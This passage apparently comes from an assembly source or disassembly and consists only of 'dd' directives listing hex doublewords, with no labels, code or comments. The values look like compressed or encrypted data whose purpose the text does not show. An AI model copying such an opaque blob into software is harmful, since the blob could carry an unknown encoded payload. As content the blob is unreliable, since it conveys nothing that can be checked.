4A6F609Eh, 990F1E4Fh dd 88068084h, 0B9E29D91h, 3AE1700h, 0DD5B4C01h, 0A7760F4Bh dd 0D7FD2047h, 6D470046h, 51F5C022h, 0BD000B71h, 6A2EBEB0h dd 288E4879h, 7498A96Ch, 2B0C002Ah, 0B83FC298h, 0C903D11Ah dd 0E551405Fh, 5CFDA854h, 70341CABh, 6FAAC0BEh, 6ACAC4EEh dd 32070092h, 0F5A799Bh, 5E4A4B70h, 82E20710h, 526FB0C7h dd 8C4815ACh, 563B95CBh, 20088066h, 0D4BA8ADFh, 0CCD80035h dd 0D99496ABh, 6500E014h, 90A18716h, 10674FFh, 0EED25AF6h dd 0D33B1AB5h, 0DE59E90h, 67E7BB01h, 0CFB88240h, 3D35CCh dd 0AB91468Eh, 10979250h, 3FFEA890h, 5F99EE03h, 47938Ch dd 4416E330h, 250DBEF3h, 5A635C02h, 0C0312240h, 0F9731Fh dd 0D07B1149h, 625BB2C9h, 97ABDD00h, 4DDE4E72h, 0B32800E1h dd 30AF6CCEh, 3A98853Fh, 80EB073Ah, 4B9F8A2Dh, 4BB334Eh dd 0B821A8Eh, 0DECC81A0h, 0F38AC4EDh, 699AEE03h, 0B86BB53h dd 0A9F101C8h dd 8350D480h, 5D00D7DEh, 146A224Eh, 734F3CDBh, 47DD0031h dd 90D0BEA3h, 860394B6h, 0E6AAC1D4h, 5ED3B833h, 0B0800068h dd 0EA0DC273h, 0C8A45D14h, 56E70731h, 0B8207FF7h, 4892738Fh dd 19005933h, 17250873h, 0A00048A1h, 0B5805EF2h, 0D6FAE5h dd 0A8DC4E97h, 0B7DAB38Bh, 2866B40Fh, 26FC80AEh, 15F9A1h dd 0EC739CFEh, 0DEE046ABh, 0AFBEB700h, 0A8B12E89h, 230300D8h dd 0C901619Bh, 227887ACh, 5E880700h, 73FB3C4Fh, 519C00C3h dd 1EAA13AFh, 2E002F87h, 10BFDB09h, 0A99969h, 4214D504h dd 21B79A52h, 92FC6000h, 0CC6F46F7h, 0B98300B8h, 99DE4AA9h dd 0C9008956h, 92C885C0h, 525BE60h, 2A421E86h, 938C273Ch dd 44C9D6AEh, 4E62C4DAh, 1125300h, 5B3E5CEEh, 19F40008h dd 6013B3D8h, 600EC0Eh, 355AA1D3h, 1A8CCBh, 8E0D6272h dd 7F014543h, 0F4441900h, 0ADBE5616h, 669900BDh, 0DEA05AC9h dd 64002D7Bh, 1EB32E62h, 0E171AB6Ah, 3C122B61h, 9B1BE03Bh dd 0C75C2E27h, 102E03D9h, 300A03E3h, 0E05B11FBh, 0A6DF058Eh dd 88DC6Ch, 7DF526DBh, 9737BD2Dh, 0AC96750Ah, 0D00BC4Eh dd 0DBA473AAh, 502F76ABh, 3CF48EA6h, 808034AFh, 0CD450BECh dd 4003A354h, 7535E1E7h, 0BA780099h, 73EC9B55h, 0C30577D1h dd 161FF10Dh, 5ADDEE00h, 1D753C0h, 0A5FFA029h, 0C86801B5h dd 4F000634h, 0A1CD2DD9h, 1C8EF0DDh, 0EEAC9Eh, 5F8F1D98h dd 0AC9A7B42h, 10E86400h, 718EE618h, 0C67B38h, 7B8B2F4Ch dd 0AF06D944h, 0B1832600h, 6B7E60B3h, 689077h, 0FB8CCDC9h dd 8DD92C50h, 0E888B100h, 0A706480Dh, 0AF03306Eh, 0D42F6AC0h dd 703EC07Dh, 0D5E103DEh, 0C886F9F8h, 1F599A67h, 0C007182Dh dd 9F25CE88h, 0F600BA90h, 97CE8C1h, 2EBB29AEh, 0BE698h dd 67ED55D7h, 1A283062h, 4100CC1Dh, 17CCE3F9h, 265C3Eh dd 0BB99ADCAh, 0B96E5FC4h, 4EE8D560h, 9B53D69h, 7EE8B724h dd 465BB000h, 5300DA6Dh, 8A804D43h, 767D77h, 73446210h dd 81BD36E1h, 0A3FBD600h, 3424F25Dh, 536A0001h, 71F3C7EAh dd 0E901DA8Dh, 0CE9F9E87h, 0C0D7F5BFh, 18C5C91h, 0C9B2689Bh dd 0FC25D318h, 311FB5B1h, 0A4286742h, 0E6E21C0Bh, 0FA4100A1h dd 34B9851h, 0C31E246Dh, 6FE06E2Fh, 0A8007A11h, 47804375h dd 0EABDB72Bh, 16CC1E7Fh, 1BF10765h, 2549A0DDh, 601CD34Ah dd 6C14E93h, 65C1AEC9h, 3492FCh, 0EDF53EC8h, 3FFFE925h dd 6A7F6C00h, 0AFC2B927h, 1D29E46Eh, 0C01C2D04h, 2CE38DB6h dd 4B00B788h, 0F9D0E572h, 3C4047Ah, 0D3484D54h, 74F02621h dd 0F80061D9h, 901FB1Ch, 159DF7Fh, 403915E0h, 0ECC4B5ECh dd 0DC70D311h, 6D004E7Bh, 0A680AD50h, 50B67DFFh, 0FA3876h dd 36B4AAD5h, 0B7711D4Eh, 295F2F01h, 87515CFCh, 7E3907C8h dd 0AD4900E2h, 0AA5D0921h, 0A53B4B81h, 26039777h, 2052090Eh dd 0B43266E3h, 0AE6D0064h, 0BDCFDEC3h, 2500AFBBh, 830E41DFh dd 989BA2h, 137CC67Fh, 6465A0EFh, 74F783Bh, 5B020ED1h dd 2FC926A0h, 8D860FEAh, 51A02405h, 5FA33D4Fh, 1800957Bh dd 2966F13Fh, 3B68D032h, 0FC5E1E06h, 576700C2h, 69478A99h dd 6CE8003Ch, 4FC2F5C8h, 37765950h, 1E927F03h, 0D0ED521Fh dd 0D7563h, 20FAC4ECh, 0E13DD02Bh, 3A77EAF6h, 83D88900h dd 0DDB7686Eh, 3321F70h, 77FC0F1h, 5416495Ch, 45283D60h dd 7ECC7C5h, 6181350Dh, 0C59EC463h, 42D7011Ch, 40C3DD04h dd 4F9712C4h, 0AE9AB200h, 0A3B97951h, 86D40F76h, 4840CE44h dd 43070FDEh, 87E3E23Dh, 0F640F033h, 0FDB43780h, 0AFDA0045h dd 237BFFC4h, 0B500DE6Ch, 38D69A75h, 4FBACCh, 0E42C296Dh dd 488DBB5Ch, 59896C03h, 7BB10365h, 4B741210h, 0F633003Ah dd 0EC7A9D34h, 0AE26431Dh, 90157787h, 63CE7990h, 65B304C7h dd 0EB80D1FBh, 0F8E54EC7h, 767CB6C1h, 0FDE839D7h, 4C020079h dd 80752586h, 2D54CB3Ch, 0B700F190h, 0DAFC53C5h, 0BE79E0h dd 0CF484197h, 6030124Bh, 0DC28A901h, 7FA56283h, 60B1DAE0h dd 86345EA7h, 9A1C7BC2h, 767805FFh, 293EB00h, 0E6299012h dd 45963CF4h, 0BBDE3F00h, 5A5C461Dh, 803C193Eh, 0FC56AA74h dd 2149D4h, 7CC38D07h, 2381E3E9h, 0D6913C03h, 14DCDE15h dd 942C9BF0h, 8E0B441Fh, 0FD4C6AE6h, 3000D9E0h, 66206046h dd 0E6CDCAB4h, 877FA1h, 2C0AF469h, 9533171Fh, 71E64F00h dd 4C347BBBh, 6A3C0082h, 1409A206h, 361C6904h, 70B016F7h dd 11FB6F1h, 6F89339Bh, 0C43D0747h, 97338CEDh, 0C8CF7884h dd 75A03B0h, 0E9D36B36h, 28745026h, 39008A53h, 594EE73Eh dd 0FA0EC1B8h, 0D38F399Bh, 0CC0030BEh, 2C6EA6EDh, 6800D435h dd 1AC0132Eh, 1D2A0B7h, 3C393353h, 30E824F6h, 20002B5Fh dd 3DB415A9h, 1FE2EEB9h, 408466CDh, 2191ABC0h, 9E002E52h dd 0F22BB7A5h, 724BB39Ch, 84A30166h, 0BC85C1E4h, 22E1405Ch dd 1000B083h, 0C5A6A13h, 0E0143DCh, 0D111C142h, 0AC794Ah dd 0F123540Fh, 833F9FF9h, 0CFEE8415h, 0D8C01014h, 2E5F7Eh dd 13098450h, 0DB6B62FFh, 4A583C00h, 37FB1601h, 120B3BBEh dd 6C8F6639h, 1322578h, 0ABC435E8h, 82C0FFFDh, 0A900FE88h dd 7BE2A3A6h, 0EAA8F516h, 0CD77BFh, 0DEB38931h, 0AB631AC8h dd 3090A7E8h, 6C6D7400h, 0EF5E432Dh, 0D6BE0F59h, 7AA0EEFDh dd 2B06D137h, 0C36B3B00h, 285126Ah, 55F0F7h, 7B9130Ah dd 0A74C3267h, 0B7FCE504h, 8D0EDD8h, 9D3976Ah, 0F22E9980h dd 0BE2638A0h, 2312C37Bh, 8C00E441h, 57D94281h, 74943B9Ah dd 7B7E1680h, 0BD591788h, 9EC31228h, 0C0354B00h, 827D9279h dd 0F2A1242Ch, 4EA01CD7h, 0F9E15795h, 20A4F8A3h, 7A1D8044h dd 28037136h, 0C8CBFF86h, 0AC65Dh, 0A7C0022Bh, 5CDC6FF3h dd 3ED60912h, 1835314h, 8B12CC33h, 57F0AC17h, 412B0021h dd 0BF370A6Ch, 2002526h, 72BC8907h, 1EDCF77Bh, 0CE497A76h dd 29223942h, 0F8809EEEh, 18ABFCC7h, 8B069902h, 60F6793Dh dd 19C805h, 361766EAh, 0CA64ACF8h, 0F0C9D500h, 5DBFB463h dd 0C30E002Ah, 3A03465Ah, 0A90A8E3Eh, 0F84D7093h, 0E40C2D80h dd 3B47A5E0h, 6B00B020h, 65EFE926h, 0E00EA46h, 56C693Eh dd 284A715Bh, 1B47CAEh, 9A20F3F2h, 0CD9E652Ch, 4AB8236Fh dd 141360FCh, 4966005Dh, 0B4902AB9h, 426D807h, 0D20CE5Eh dd 0F6612BFDh, 3AC800F7h, 4013BB46h, 0E6F04ED4h, 7A064C00h dd 0E8B41791h, 0A40A1EEEh, 82DD400Fh, 0C6D1FA71h, 1A27F20Eh dd 9E03A02Eh, 0A26CB5h, 0AF730BF5h, 3399789Ah, 0F8B27A00h dd 408BDDB6h, 0D5E900CCh, 2D9F39D6h, 60785957h, 0E49BDF00h dd 756630Eh, 70F40005h, 0CCE63074h, 6800992Bh, 0D3D23FA4h dd 0EF8CCDh, 972A65C5h, 0A6255A8Ah, 0F6371C00h, 11E74481h dd 491000C7h, 48A279F4h, 8D7041A3h, 7FD26A04h, 8CD0CA9Ch dd 3D8F76DDh, 5CF70B1Bh, 0BC069944h, 86FC7C6Bh, 0FFCF8D00h dd 0A9498AF3h, 72C9004Ch, 12A61C0h, 5D005EFDh, 30584595h dd 1BDF625h, 22E5F540h, 70683A6Ah, 0FEC107Fh, 8132E307h dd 6E370A54h, 0A8E4FD1Fh, 0C1DE7880h, 3CDB691Eh, 34305519h dd 2ECFBA18h, 0CDA7560Ch, 0B7103Ah, 1F25D321h, 9207ABB5h dd 8A5E6E02h, 0C0798E2Eh, 0A1714Eh, 491EE524h, 0F4A3DBCBh dd 80DFCC3Ah, 0EBFBB42Bh, 3537F8Bh, 0DAB1ECB6h, 0BAA3816Eh dd 6BFD7003h, 0E0D1F41Eh dd 739836h, 85DD2920h, 0B6ECDC96h, 0C4B2801h, 12BC7F75h dd 21E289Fh, 81DCE4F2h, 0D6F9A8A7h, 4A0351BBh, 0FF29A1DEh dd 0FC76A0B6h, 0C6F928D7h, 70E41838h, 99033983h, 0CC0019FEh dd 0ABE821F7h, 31EF66h, 0D06EC1C5h, 0A14B5CE7h, 0C9FA9702h dd 0FF844885h, 800E870h, 27939BACh, 71AB725Bh, 4A502E6Ah dd 0D7E00046h, 0DDC6E502h, 79CDBC07h, 6DE0180Ah, 25CFF8h dd 56434E83h, 0A8F1D8FEh, 9474AB0Fh, 0A5D040CAh, 0F180DFDh dd 8FECD4B5h, 24D98E60h, 0AF00ED57h, 894F6DF1h, 596279h dd 0E1EBD66h, 50A5A804h, 0A600E9E0h, 592299Fh, 1166518h dd 54B64609h, 809DE5AAh, 6F94DAF9h, 189FE6Bh, 529C4C6Eh dd 805A9626h, 37BDB020h, 28EAE0CDh, 0C0FA623Dh, 3952FE39h dd 0A813DA61h, 2800A0B8h, 0F8315843h, 0C9043062h, 79807B29h dd 0DEDCB8A8h, 4DF279C0h, 0F735B7Ah, 4907AC2Dh, 0C9155780h dd 0D005A26h, 30A7F483h, 70436Ch, 420CDCA5h, 86ACD5E4h dd 0EC2DCD00h, 6F45E3A7h, 0C7BE01CCh, 0F13C52FFh, 87DFE4E8h dd 108A69C3h, 6991F80Fh, 627103B4h, 84B834E2h, 47729FF8h dd 44F95A1Ch, 65A5EF81h, 0B98776D6h, 2079A713h, 0E352DF25h dd 0B7DAB518h, 0F1A2C9h, 6EBAB6BBh, 1CBFDDA5h, 37B4AB14h dd 0F1C20670h, 30673Ch, 0C5B182FFh, 2D5BB640h, 8480DA73h dd 3CC7039Dh, 0D130A318h, 0B10970C7h, 0B51250A2h, 25001ADBh dd 83E714D0h, 0C12B0F28h, 0E88BA9E1h, 0CF201B0Fh, 0EA0E19ACh dd 0AD72F600h, 0EC2E07C7h, 8C2665Fh, 0D002182h, 274372F4h dd 705549DFh, 1A7933B2h, 0BF80F958h, 5900F7AFh, 605626F4h dd 3EA484DCh, 406C0A1Ah, 48C0370h, 0C88672E7h, 2E85622Fh dd 0EA873900h, 0FC07B75Dh, 0DF80F6E1h, 807A54C2h, 1A21A3A6h dd 83923097h, 2ACF0A30h, 5C7251Ch, 3BCDCCC3h, 0B40831CEh dd 0F417C021h, 6003E812h, 8FEA8A42h, 1DA170F3h, 45F68D66h dd 834C6F4h, 71C0FE30h, 4604B42Ch, 607D22CDh, 0E2F980EFh dd 5300A9BCh, 0DBFC2D27h, 7A147791h, 807931h, 15EAA63Ah dd 3B1A39E3h, 0F0B6F518h, 1595870h, 66699342h, 0CC1CE8C5h dd 6C1F3BB7h, 38C0F8EEh, 49BE4EC7h, 0FFFC2Ch, 0BC8F034Dh dd 0ED925E5h, 0DD0772F8h, 46F5DF40h, 0A845EB0h, 6E301F2Fh dd 78F0C060h, 0F7EF6193h, 477B3E00h, 952765A6h, 52D800FFh dd 43F6CA11h, 0FC008706h, 0AB61EAC8h, 1F123F5Ch, 1ECDDAE3h dd 0FBB500A9h, 0DA43790h, 0FFC83200h, 0AE57315Dh, 0AC7515h dd 6A979F0Fh, 88EB484Ch, 83F15B00h, 25111EB5h, 58961576h dd 1EB80424h, 448ED68h, 2A01A579h, 901B004Fh, 1AEB221Ch dd 0C986C202h, 59673A5h, 931C081Bh, 0AA4AA08h, 4720E0ABh dd 0A705C745h, 60C9C3CCh, 9B010FD1h, 28090899h, 2818D450h dd 6E581206h, 789A69ADh, 9D915801h, 0F3398A75h, 0F14890F5h dd 7450563Ah, 601010A2h, 8A2979Bh, 701F0433h, 0CD22DDCCh dd 4C91710h, 1B1C6004h, 9D34766Dh, 0C22081Dh, 601482B8h dd 9E4C86A0h, 741D2380h, 50281034h, 6B540F25h, 47A1E67Fh dd 0F4EBCC99h, 25882BB8h, 960203E1h, 52061424h, 0D207E0A1h dd 421FC97h, 1923617Dh, 54B0414Ah, 18FC46E9h, 6E53800h dd 16D2DE7Ah, 866C01B2h, 2235B01h, 734180E0h, 80F75F6Eh dd 92CE18C6h, 139918F4h, 38CBD032h, 6DCAF18h, 0D2069B9h dd 543980C8h, 0D44B3048h, 7C322800h, 43460D4Eh, 3B162424h dd 8762819Ch, 80E96654h, 0C0BCB871h, 14EF7BAAh, 34B41F1Bh dd 20D4B70Ch, 0A0018E49h, 0E8FD12Ch, 0B5DCA448h, 74A57B11h dd 8B43008Ah, 9C9D5103h, 240C4B9Eh, 0A908B891h, 0E01418AFh dd 1FE908E3h, 0D0D02A81h, 48C1D961h, 6809A40Fh, 0C468F00h dd 0FB1D0C5h, 6FACA254h, 90624EDEh, 8583E3E9h, 81F0C5BAh dd 4101C7E2h, 50FF7CC2h, 0C4481836h, 3DFB0A04h, 3F8C55B5h dd 0A730DFDCh, 0C81459E8h, 8F247C1Ch, 895645CCh, 602B0027h dd 9E904896h, 0E00072D8h, 0F5309102h, 92C945A6h, 0F7593CD0h dd 60D0BC38h, 4E88A068h, 0B4C14886h, 0EA61E101h, 0D7531971h dd 0BCD96AA0h, 70305C68h, 808DCB0Eh, 0EFFA970Fh, 9E38C318h dd 0B4A16A76h, 76C3FED2h, 6DCEC4C0h, 3F21E96Eh, 0E7912B01h dd 0A18A9FA1h, 87AC29A4h, 34D00CEEh, 0C8F880FFh, 0BC011788h dd 0CED6DBA3h, 0CBE1814Dh, 81E026D4h, 3A85D91h, 0B0D199B0h dd 0EA55E0BBh, 60925024h, 2054D089h, 0B1A74E64h, 0B88252C8h dd 1A709DC2h, 8078FA10h, 441A5B0h, 1D09D0h, 1CC91F85h dd 7B38A1EDh, 3F188B00h, 4ADF589h, 7C20902Ah, 0ED190141h dd 526FCCA2h, 0A486C661h, 0AD73D0FFh, 3F4513Ah, 3F73552Ch dd 746FC0CAh, 0C85A60E5h, 65EE1DE2h, 450097F8h, 0F6C0D8B5h dd 3E9DE66Ah, 50C9B890h, 854DF006h, 7848C95Eh, 1FFC10BCh dd 8A81B840h, 0ACB08413h, 0A7E4E0C6h, 40D0D749h, 721D22D8h dd 20145699h, 4C59B18Ch, 74A1E100h, 6944AB48h, 3D0C01E1h dd 30871370h, 412CEA6Dh, 225DBCCEh, 34858630h, 882CA359h dd 0D9F4181Bh, 12998C9h, 84E23FCEh, 0B805B060h, 0C6089078h dd 51005DDDh, 966FC4B7h, 19D5A3Dh, 0ECA513C2h, 8CECA90h dd 22190E76h, 0E5C34726h, 917F657Fh, 0F5F029C4h, 83229142h dd 0B19E1C80h, 86294DEFh, 1C0758E2h, 0C05AD41Bh, 918F453Bh dd 0F4E04525h, 0CAA4FFA6h, 48D4A203h, 19174h, 169B5180h dd 4B3D97F4h, 0D43A8119h, 41F2C260h, 87D1AEB8h, 0CC3FE070h dd 62793718h, 92A49406h, 0A1712BA1h, 0C8200534h, 6868A010h dd 25B0A98Bh, 4CCE9434h, 0C4185CFFh, 7B43394Ah, 7CAC6103h dd 0D09EEF9Dh, 7B588DAh, 0FF9C8EA3h, 64418E13h, 2448A7CAh dd 289036B0h, 0F544F6F0h, 42E0ECh, 83419734h, 7402BF59h dd 2E968203h, 0C022A0E9h, 0AEC542h, 8B59B795h, 9E07FFFh dd 70EB9F0h, 81BF7B19h, 5E2BAE47h, 1BE9408Fh, 6E4C03BFh dd 1000D43Ch, 81CD7CF2h, 1F410609h, 3FF9796Dh, 427BBE80h dd 74DC30E2h, 0A13BFD00h, 0F9156EA9h, 0F270077Ah, 1FB3E890h dd 0B8C6EA63h, 3A659000h, 49466EE7h, 0D93E18CEh, 0B39C0871h dd 0E21820C0h, 0FA93FFE7h, 5A7A2Bh, 0F3B6FD1Dh, 0C71404EEh dd 0E80AE30Ch, 7D2250C5h, 7BD10131h, 8C2E8F13h, 2F0898CAh dd 748853D1h, 0C4EA30F8h, 7F133781h, 0C082F4E1h, 81027DFEh dd 0BD39E94Fh, 0B89880D6h, 6FD3D1h, 18788CF7h, 0CDA09E31h dd 18B1500h, 7FD4A43Dh, 0C1F372C1h, 6A52DD30h, 41A0B3C6h dd 3FCD8002h, 0E0310596h, 0E889F2h, 6C4262F6h, 40CEF028h dd 0CF580229h, 98D4A0BCh, 167A5D1h, 0BD48FE0Ah, 0D09EEC32h dd 20C0FF79h, 0D4A5B4E2h, 6A9F25Fh, 9BEC7324h, 4204E80Ah dd 0B770EB58h, 1B9D87C0h, 85A50CC7h, 7D986916h, 7EAB0700h dd 915A2953h, 0F26F0093h, 3BD874Bh, 14EC5CA0h, 64BC730Fh dd 45EA4332h, 8EF3B0A1h, 56EB002Eh, 0B8B596ABh, 4300EE03h dd 0AE695892h, 3F11F9E3h, 678087C6h, 983564BAh, 3300CE32h dd 0CCE243C4h, 278BDE6h, 9FC5BCDCh, 1760CA2Fh, 0CF00FA3Fh dd 2102A18Bh, 1406C1h, 0BA17CBC3h, 0F40C1353h, 3E040900h dd 792FA2A0h, 36900B5h, 0EEB8E143h, 800FB19h, 72F4D931h dd 14C459Eh, 0D206366h, 213DF79Ah, 128BCCDAh, 94E5D201h dd 5CD491D3h, 0CF70A20h, 0CACE14A5h, 3E032D28h, 5BD20D84h dd 0C0049CC2h, 0F54B4437h dd 87A8014Eh, 0B8BCCB08h, 0DD2F11C2h, 11E5D511h, 3811C832h dd 0BF1F1136h, 1E80910h, 40A073A3h, 24C8ECC2h, 86FF07E2h dd 0C585D697h, 72870756h, 0B05ED082h, 0FC0057E4h, 0C9493545h dd 2C2328h, 9714C86Fh, 0C7C5F42h, 1F055418h, 85CA32h, 0B11BEDD7h dd 1357FB9Ah, 6CB5D000h, 7A60EB5Fh, 0F5DA0181h, 9801F62Fh dd 6040D939h, 0FE26D1DDh, 54038F50h, 0DFD3BD97h, 0B9A9FFh dd 0E1168B04h, 0D86E00DAh, 90E35526h, 76008EADh, 0FC6FA5A4h dd 3B7ACBCh, 80726843h, 0AB80123Dh, 0C90029A0h, 8ADB4D85h dd 3F092C27h, 0BE8F657Ah, 94AE589Dh, 45C6D9CEh, 111E504Fh dd 0ECC0462Eh, 0A36CBB0Fh, 8C2339ABh, 2B3F1E00h, 0BC6247EFh dd 0AF0CF498h, 7812DB8Bh, 8AE6206Ch, 9E95B426h, 79800E00h dd 67AC5Dh, 218CD0CFh, 0A4E1A3EDh, 309C6E00h, 83C7926Ch dd 75EA9Bh, 156B57A7h, 0F65E4F73h, 0A948CF00h, 68ADEACEh dd 7E027ED7h, 0EF730139h, 1F7B324h, 2B10CC4Ch, 8B50D903h dd 882D2EA3h, 0EC3006E4h, 40FECAh, 9515C05Fh, 87FC1388h dd 68BFE300h, 0FACC09E6h, 0F260009Dh, 278E9ED8h, 0F000F3A0h dd 0EC903652h, 8BB93Dh, 0AC1D9693h, 0EDF9AAEAh, 1F4E7703h dd 886546D4h, 93FDF3h, 0BEB74A2Ch, 7BA7DD61h, 0B07CB67Eh dd 8FA6AF07h, 960CAF3h, 954CD87h, 12EA3956h, 3AD89C00h dd 80005BC1h, 153461D6h, 76F4Fh, 8CC2B2E4h, 0F1400929h dd 0F6B8D50Fh, 808149BEh, 7EE80F47h, 94B20104h, 0A306EE9h dd 0E29BD002h, 0F5F75800h, 1942DCEAh, 9651C02Ah, 3F12B2EEh dd 299C3Bh, 803CF136h, 9432F2h, 62D77378h, 0E06EC365h dd 14B51700h, 0CD01BA99h, 0A87000DCh, 0B23D7A73h, 0F701C8E4h dd 0E6CEABA2h, 92F445BAh, 37C41F52h, 0C0D8F055h, 0E2F6C524h dd 2234B00h, 27B5CE72h, 0C2440099h, 48A16129h, 0BC00423Fh dd 87D193EBh, 16C45F9h, 205296AAh, 40291D26h, 6B0318B5h dd 495B5603h, 0B83B887Eh, 91904h, 48854778h, 5DB9981Fh dd 39500330h, 76B1EF14h, 0AD3D1E10h, 890141D8h, 2A0C81A9h dd 887C5100h, 1D7F1D6Fh, 30298B95h, 0C81C2F10h, 0D2066274h dd 73ADA69Ah, 1DD70318h, 0BA4C8960h, 926D39F0h, 40B8A41Dh dd 7A0AA900h, 2EC26BD3h, 380C6F5h, 399B63F9h, 593101A0h dd 2184EC31h, 0E7C48107h, 4B6900B7h, 0D23345F4h, 1400D073h dd 88170C5Ch, 13493Ah, 8464C39Ah, 8D15100Bh, 30F0AB12h dd 7A12602h, 7812600Ch, 1FE4079Dh, 0B5BAA02Dh, 80CE1D12h dd 8B182113h, 0CD00209Ch, 98776FB1h, 77C6A3ACh, 9410E97h dd 0EBE3A58Fh, 0FAB02DA1h, 263DB985h, 3E351D82h, 7E82B89h dd 0C350A6BCh, 0AE537Bh, 1E39AC1Bh, 0E70E6428h, 8A8DEE07h dd 40C0C758h, 99DF78B2h, 33A48380h, 0E5807411h, 2F001705h dd 0B5E33DE4h, 7F0762h, 208A2301h, 5B455EC6h, 50C90413h dd 48705400h, 68B5A8h, 5F037719h, 3DE28D74h, 0DA02FC00h dd 0F1E56476h, 9889E6BEh, 0AA281640h, 4040047Eh, 0A97CC8AEh dd 5C87F40h, 4CECFE4Ah, 0B6E81039h, 0C76D8603h, 96A808A7h dd 0A9001661h, 0AEF130B2h, 2B6793Ah, 0C660CACCh, 704073EDh dd 0B83F4BBAh, 0B909FBE3h, 0D542128Ch, 3478140Ch, 5FF20084h dd 64DD21F3h, 0A798FCC3h, 0ACEC7C90h, 1D8AD100h, 0AE73F462h dd 0D2CF0048h, 0E59E0F3Dh, 9506E4F2h, 0AF6EF08Ch, 5B9803A8h dd 0BAD023Eh, 81C4103Dh, 1412406h, 98EF8CF6h, 0B0F27Ah dd 7D821702h, 0AACDC03Eh, 95786C03h, 0D9699F45h, 0CC201C41h dd 0F24605D1h, 1D978949h, 8791C0C5h, 85599227h, 2BC35A00h dd 8160107h, 66ACC072h, 7CAB9336h, 8E92D600h, 1FD944D3h dd 54230080h, 0D0026DC4h, 4501E15Bh, 83375ABFh, 92F8F274h dd 0E766008Bh, 0E8A40644h, 75006A2Eh, 0D5010930h, 0DBF06Ch dd 0EBD8C563h, 0D3A63906h, 0DFCACB00h, 28497A75h, 0C1E50411h dd 80418B6Ch, 0D4F06074h, 95224C0Eh, 6EEE8077h, 0A028CCC5h dd 383637C0h, 0F080C3F4h, 5D663016h, 1700D3BBh, 27A2D529h dd 38DF610h, 38679AC5h, 9EE0E8BDh, 9C001F6Ah, 0EDB605Bh dd 7EEE91E1h, 98A81663h, 50EC0001h, 8FBDC471h, 0BBADC800h dd 26AA44A3h, 3F390053h, 4E82581Ah, 413EC771h, 0DFC9008Ah dd 6E4DE334h, 1FED1FD4h, 8003C339h, 4C9015F5h, 0C00C6ECh dd 7CFCF2CFh, 387164C1h, 5F006F9Ah, 8DB3F11Ah, 0CC1FF6F0h dd 0FB874D1Fh, 23D1655Ah, 31E8E74Bh, 0D2390C7Eh, 13386DD6h dd 0B118E17Dh, 0E769E866h, 14EB0061h, 5EEA8293h, 0DD00040Eh dd 69FE2D94h, 371F46Ch, 9C24E946h, 4192E397h, 83FC1CC0h dd 0C103500h, 801ED1A5h, 80A2B0EBh, 0FDE9DA5h, 0E2119F07h dd 65A8C4E0h, 0AC033404h, 2C82127Ah, 0CFA698B7h, 0B210C078h dd 4DECC0E3h, 3C90D940h, 0A6866AF3h, 0A86CB7E1h, 0ED78A205h dd 3080E8E0h, 0D46875h, 0A853633Fh, 31BA8B56h, 0C2CE6D00h dd 0F79920C6h, 3E2B7CF4h, 0E30F21A1h, 125691FCh, 7D3C20D5h dd 3B123E2Dh, 0BC5FF003h, 6A3880C0h, 79646EF7h, 91DD3D5Fh dd 625A100h, 94F595ABh, 0DF70AE02h, 0E820F371h, 37A9754h dd 0B70EB130h, 57A0FDDBh, 0BC07A43Fh, 7B020163h, 0D4F4B0F0h dd 0A9751233h, 0B43114A8h, 0C264CC07h, 62A65097h, 0E83B7380h dd 754B0069h, 91D88F3h, 41FD0344h, 7192379Eh, 3FE848B1h dd 0D25EE0h, 82DABB36h, 5A241606h, 34080A14h, 0E8D600D0h dd 764F7DF6h, 0DF8D0278h, 50C71F29h, 73207CC0h, 4C95A500h dd 0C6D53DCCh, 7951004Bh, 0D4EC4E24h, 6176D713h, 2A016C00h dd 91BB3ACh, 57253082h, 0F412C340h, 3F10561Ch, 6F83C980h dd 4F82EFFh, 8B14B945h, 0DDB720BFh, 18F30081h, 0B4DB29D1h dd 0EC00E436h, 8F752BDEh, 3EEA230Bh, 0D8BFACE2h, 9861C400h dd 0E01CE5A8h, 0E37CC8E2h, 6EADD200h, 634D107Dh, 489BF2ACh dd 9A04E832h, 0B15A3F0Dh, 50DAD930h, 0BD260F0h, 1F1F2494h dd 0DF18D78Eh, 0BF7BCE00h, 0B26D16h, 3724191Eh, 0F396FCA0h dd 0E764791Ch, 0B0382BDBh, 0F213109Eh, 48C700E6h, 0D1244BF4h dd 0C876B743h, 0D8EB6095h, 58CF3B72h, 5DD49081h, 0E02EAC75h dd 5E007011h, 54FCCDDAh, 7AA41A3h, 290176C9h, 8513C01Bh dd 0B728DCD8h, 4126ED36h, 0E300C177h, 0E106FBC7h, 0C9280019h dd 0C3360B31h, 7E1DF637h, 0E54C940Dh, 5C3CF0FAh, 0CE05A052h dd 80A911BEh, 69665BC4h, 5E55F01Ch, 0DEA0C900h, 0BCE1AAh dd 0D348F70Dh, 894F7616h, 0A3E28600h, 836C2E5Dh, 0DB4400FAh dd 13BC1965h, 0B51424DDh, 2F86B43h, 0D56734E7h, 0FD004863h dd 8F4F00DEh, 96F10F37h, 0B900A123h, 7480A8C8h, 1F21E4Ah dd 6CEE0843h, 0FDFA6DD8h, 4782F4D5h, 0D6306400h, 835E8A10h dd 87E003Ch, 35EF466Bh, 87031242h, 54160426h, 0F393A9D7h dd 0F6060h, 5F0C196Ah, 90867677h, 702AB012h, 5D8CC04h dd 21C40BAFh, 0FE418380h, 5B028E93h, 85DE1670h, 0E0D0603Ah dd 3C8B5D2Dh, 0AAE6A780h, 54601236h, 0A9A0F2D8h, 246A036Fh dd 3BC271B3h, 878D23A8h, 8DAAC00h, 2B7316F6h, 8FE40011h dd 97CD69A7h, 5D140447h, 0EB848FFh, 2E63C64Dh, 192820A8h dd 0C5CC1BFh, 360632F6h, 4B1FEE68h, 7807397h, 12F72BE1h dd 83090389h, 52DD81E5h, 8717E9B0h, 2F331502h, 408023F2h dd 0E74070h, 65B5EF5Dh, 4C44FC9Eh, 0A700BC7Ah, 7B8F8CFh dd 9A4B381h dd 416478F5h, 0D3049000h, 14003A56h, 657DF16Ch, 48F83Ch dd 1C2ACB67h, 7C77629Bh, 10B018C0h, 4B5F37h, 0D4D390B5h dd 39F12D5Eh, 16A12526h, 9B042300h, 787A3212h, 1CF686h dd 0AF19DB4Dh, 7412D74h, 0D1BB5900h, 15EC4B49h, 0F291B84Eh dd 0AEF83F56h, 0EADC481h, 20A28817h, 0A730B4D9h, 407781D1h dd 61B91B90h, 2C887023h, 8444539Ch, 2219202Dh, 0C0575100h dd 30DC33D0h, 0E8C91F45h, 1B9D42ACh, 0EA639923h, 123E20C8h dd 0CA2978C0h, 1E2B883h, 416AF667h, 20393AC9h, 20002767h dd 84FA45B7h, 